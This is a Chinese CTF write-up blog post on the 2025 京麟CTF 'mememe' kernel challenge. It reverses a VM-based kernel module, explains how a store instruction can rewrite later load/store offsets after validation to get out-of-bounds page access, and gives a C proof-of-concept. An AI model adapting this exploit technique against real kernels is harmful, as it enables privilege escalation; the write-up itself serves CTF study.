当前位置: 首页 > ai >正文

2025京麟CTF-mememe

wp

好久没有更新博客了,生活也是一团乱麻。最近有时间跟团队一起打了场CTF,主要看了mem这道kernel-pwn和old school parser这道题目。mem其实就是给VM题目套了个kernel-pwn,利用比较简单,主要还是在逆向,平时刷题刷的少(当然,以后也不会刷题),逆VM逆了老半天,最后把漏洞找出来后,利用给队友去写了。然后我就去看old school parser这道题目了,看hint应该是找nday,最开始搞错了,还以为是ssl相关函数的漏洞,最后队友提醒是stb这个库,然后就去github上找到源码,issue找了好几个nday,但都不是堆溢出,反正挺难顶的。

mem虚拟机指令如下:

/**	opcode | arg_len | ...arg*	0x4 | 0  ==> add ==> old_sp = sp; sp = sp - 1; stack[sp] += stack[old_sp]*	0x5 | 0  ==> sub ==> old_sp = sp; sp = sp - 1; stack[sp] -= stack[old_sp]*	0x6 | 0  ==> mul*	0x7 | 0  ==> div*	0x8 | 0  ==> xor*	0x12 | 0 ==> and*	0x13 | 0 ==> or*	0x14 | 0 ==> not**	0xa | 4 ==> push value   ==> sp = sp + 1; stack[sp] = value*	0xb | 4 ==> load offset  ==> sp = sp + 1; stack[sp] = *(uint32_t*)(base + offset)*	0xc | 4 ==> store offset ==> *(uint32_t*)(base + offset) = stack[sp]; sp = sp - 1*	*	0xd | 0 ==> copy ==> old_sp = sp; sp = sp + 1; stack[sp] = stack[old_sp]*	0xe | 0 ==> swap ==> 交换栈顶的两个值,swap(stack[sp], stack[sp-1])*	0xf | 0 ==> pop  ==> sp = sp - 1; data_int_ptr = stack[sp];** */

我逆向的 VM 结构体为:

00000000 X0 struc ; (sizeof=0xD0, mappedto_358)
00000000 vir_addr dq ?                 ; offset
00000008 vir_addr_size dq ?
00000010 write_size dq ?
00000018 data_int_ptr dq ?             ; offset
00000020 read_pos dq ?
00000028 stack dd 32 dup(?)
000000A8 stack_sp dd ?
000000AC field_AC dd ?
000000B0 mutex dq ?
000000B8 field_B8 dq ?
000000C0 field_C0 dq ?
000000C8 field_C8 dq ?
000000D0 X0 ends

在 mememe_open 中申请了一个 page 用来存储 opcodes:

__int64 __fastcall mememe_open(__int64 a1, struct file *a2)
{struct X0 *ptr_; // raxunsigned int res; // ebxstruct X0 *ptr__; // r15__int64 phy_addr_; // rax__int64 phy_addr__; // r12int *data_ptr; // raxunsigned __int64 retaddr; // [rsp+0h] [rbp+0h]ptr_ = (struct X0 *)kmalloc_trace(kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 8],0xCC0LL,0xD0LL);res = -12;if ( !ptr_ )return res;ptr__ = ptr_;ptr_->vir_addr_size = 0x1000LL;phy_addr_ = alloc_pages(0x500CC2LL, 0LL);     // 1 Pageif ( phy_addr_ ){phy_addr__ = phy_addr_;ptr__->vir_addr = (void *)(page_offset_base + ((phy_addr_ - vmemmap_base) << 6));data_ptr = (int *)kmalloc_trace(kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 3],0xCC0LL,4LL);ptr__->data_int_ptr = data_ptr;if ( data_ptr ){res = 0;memset(ptr__->vir_addr, 0, ptr__->vir_addr_size);*ptr__->data_int_ptr = 0;ptr__->write_size = 0LL;ptr__->read_pos = 0LL;ptr__->stack_sp = -1;_mutex_init(&ptr__->mutex, "&priv->lock", &mememe_open___key);*((_QWORD *)a2 + 25) = ptr__;return res;}_free_pages(phy_addr__, 0LL);}kfree(ptr__);return res;
}

在 mememe_write 中写入 opcodes:

unsigned __int64 __fastcall mememe_write(__int64 a1, __int64 u_ptr, unsigned __int64 len)
{struct X0 *data; // r13unsigned __int64 res; // r12void *vir_addr; // r12__int64 v7; // raxif ( !len )return 0LL;data = *(struct X0 **)(a1 + 200);res = -22LL;if ( data->vir_addr_size < len )return res;mutex_lock(&data->mutex);if ( len >> 31 )BUG();vir_addr = data->vir_addr;_check_object_size(data->vir_addr, len, 0LL);v7 = copy_from_user(vir_addr, u_ptr, len);res = -14LL;if ( !v7 ){data->write_size = len;res = len;}mutex_unlock(&data->mutex);return res;
}

mememe_ioctl 则执行 opcodes;mememe_read 用于读取 pop 指令弹出的值。主要的问题在于 load/store 指令操作的也是这块 page,并且 mememe_ioctl 在执行 opcodes 时是先提前检测所有 opcode 的合法性,然后在执行。在执行过程中并没有对 opcode 的参数进行检测了(这里我主要指 load/store 的 offset 参数)

可以看到在执行前限制了 load/store 指令的 offset 参数小于 page_size - 4:

      {if ( opcode == 0xC ){if ( (_BYTE)arg_len != 4|| data->vir_addr_size - 4 < (unsigned __int64)*(unsigned int *)&start_ptr[opcode_idx + 2] ){goto EXIT_;}goto LABEL_41;}if ( opcode != 0xD || (_BYTE)arg_len || v6 < 0 )goto EXIT_;v12 = 0LL;if ( (unsigned int)v6 > 0x1E )goto EXIT;}else{if ( opcode == 0xA ){if ( (_BYTE)arg_len != 4 )goto EXIT_;}else if ( (_BYTE)arg_len != 4|| data->vir_addr_size - 4 < (unsigned __int64)*(unsigned int *)&start_ptr[opcode_idx + 2] ){goto EXIT_;}v12 = 0LL;if ( v6 > 30 )goto EXIT;

所以我们可以利用一个 store 指令修改后面 load/store 指令的 offset 参数为一个较大的值,而在执行时不会再检测 offset 的合法性,从而实现越界读写。这里是 alloc_page 分配的 order = 0 的 page 越界读写,利用的话比较简单,随便你怎么玩。利用是队友写的,这里我给个 poc:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \__FUNCTION__, __LINE__, __FILE__, msg);\exit(-1); }void err_exit(char *msg) {perror(msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg) {printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value) {printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}#include <assert.h>
#include <sys/resource.h>
void inc_limit()
{int ret;struct rlimit open_file_limit;ret = getrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);printf("[*] file limit: %ld\n", open_file_limit.rlim_max);open_file_limit.rlim_cur = open_file_limit.rlim_max;ret = setrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);
}/* bind the process to specific core */
void bind_core(int core) {cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}/**	opcode | arg_len | ...arg*	0x4 | 0  ==> add ==> old_sp = sp; sp = sp - 1; stack[sp] += stack[old_sp]*	0x5 | 0  ==> sub ==> old_sp = sp; sp = sp - 1; stack[sp] -= stack[old_sp]*	0x6 | 0  ==> mul*	0x7 | 0  ==> div*	0x8 | 0  ==> xor*	0x12 | 0 ==> and*	0x13 | 0 ==> or*	0x14 | 0 ==> not**	0xa | 4 ==> push value   ==> sp = sp + 1; stack[sp] = value*	0xb | 4 ==> load offset  ==> sp = sp + 1; stack[sp] = *(uint32_t*)(base + offset)*	0xc | 4 ==> store offset ==> *(uint32_t*)(base + offset) = stack[sp]; sp = sp - 1*	*	0xd | 0 ==> copy ==> old_sp = sp; sp = sp + 1; stack[sp] = stack[old_sp]*	0xe | 0 ==> swap ==> 交换栈顶的两个值,swap(stack[sp], stack[sp-1])*	0xf | 0 ==> pop  ==> sp = sp - 1; data_int_ptr = stack[sp];** */void write_opcode(int fd, char* opcode, int len) {int res = write(fd, opcode, len);if (res < 0) puts("[x] write_opcode error");else if (res != len) puts("[-] write_opcode maybe error");
}int read_res(int fd) {int num = 0;int res = read(fd, &num, 4);if (res != 4) puts("[x] read_res error");return num;
}void run(int fd) {int res = ioctl(fd, 0x7601, 0);if (res == -22) puts("[x] run: Invalid opcode or arg");else if (res == -61) puts("[x] run: stack overflow_0");else if (res == -75) puts("[x] run: stack overflow_1");else if (res == -33) puts("[x] run: div zero");else puts("[V] run successfully");
}int nums = 0;
char* ptr = NULL;
void w_char(char val) {ptr[0] = val;ptr += 1;nums += 1;
}void w_int(int val) {*(int*)ptr = val;ptr += 4;nums += 4;
}int pipe_fds[0x100][2];
int fds[0x100];
int file_fds[1024];int main(int argc, char** argv, char** envp)
{bind_core(0);int res = 0;char* ops = malloc(0x1000);ptr = ops;memset(ops, 0, 0x1000);int nnn = 1;for (int i = 0; i < nnn; i++) {fds[i] = open("/dev/mememe", O_RDWR);if (fds[i] < 0) err_exit("Failed to open /dev/mememe");}for (int i = 0; i < 1024; i++) {file_fds[i] = open("/flag", O_RDONLY);if (file_fds[i] < 0) err_exit("Failed to open /dev/mememe");}w_char(0xa);w_char(4);w_int(0x2000);	// victim offsetw_char(0xc);w_char(4);w_int(14);	// store_0 ==> 修改 load_0 的 offsetw_char(0xb);	// load_0  ==> offset 被 store_0 修改为 victim offsetw_char(4);w_int(0x20);	// right offsetw_char(0xb);w_char(4);w_int(0x20);w_char(0xf);w_char(0);w_char(0xf);w_char(0);for (int i = 0; i < nnn; i++) {write_opcode(fds[i], ops, nums);run(fds[i]);res = read_res(fds[i]);hexx("res", res);}return 0;
}

烦心事

最近宿舍蚊子超级多,昨晚被6-7个蚊子折磨到失眠,早上6点才睡。整个人脑子也沉沉的。现在也不知道为啥,老是喜欢转牛角尖,而且老是想东想西的。好想来一场说走就走的旅行,希望有一天能够实现,自己一个人,说走就走,没有目的地,随心而往。本来写了很多,最后都删了,觉得没必要在网上传播一些负能量。

Recently, some classmates told me that I need to be a VIP to read my previous articles. This is the work of the stupid CSDN. I can’t seem to cancel it here, so let it be. Of course, the reason why I keep posting some random things on CSDN is because I also treat CSDN as a trash can, and I’m fighting poison with poison.

用中文被审核说低俗,翻译来自google

http://www.xdnf.cn/news/9878.html

相关文章:

  • SpringBoot:统一功能处理、拦截器、适配器模式
  • GoC新阶段课程研发
  • jdbcTemplate防止注入写法
  • CompletableFuture高级编程指南
  • Python常用的内置函数
  • web ui自动化工具playwright
  • 【文献阅读】Hierarchical Reinforcement Learning: A ComprehensiveSurvey
  • WordPress_suretriggers 权限绕过漏洞复现(CVE-2025-3102)
  • 在Mathematica中求解带阻尼的波方程
  • 造血干细胞移植中,选择合适供者需综合多因素考量
  • 2025年5月29日 一阶惯性环节
  • 哈夫曼编码
  • 65常用控件_QListWidget的使用
  • 学习路之PHP--easyswoole操作数据库
  • 深入解析分销商城系统的核心特点
  • 本地化AI编程革命:在效率洪流中重掌创造主权
  • 嵌入式学习笔记 - freeRTOS同优先级任务时间片抢占的实现
  • 吉林大学操作系统上机实验五(磁盘引臂调度算法(scan算法)实现)
  • FreeRTOS---任务创建与删除
  • python小记(十六):Python 中 os.walk:深入理解与应用实践
  • 解释Java中wait和sleep方法的不同?
  • Vue-Router 动态路由的使用和实现原理
  • 利用candence17.4 ORCAD进行RC仿真
  • 报错SvelteKitError: Not found: /.well-known/appspecific/com.chrome.devtools.json
  • 2023-ICLR-ReAct 首次结合Thought和Action提升大模型解决问题的能力
  • 用户隐私如何在Facebook的大数据中得到保护?
  • 5.29 打卡
  • Glide源码解析
  • STM32F407VET6学习笔记7:Bootloader跳转APP程序
  • 《仿盒马》app开发技术分享-- 订单列表页(端云一体)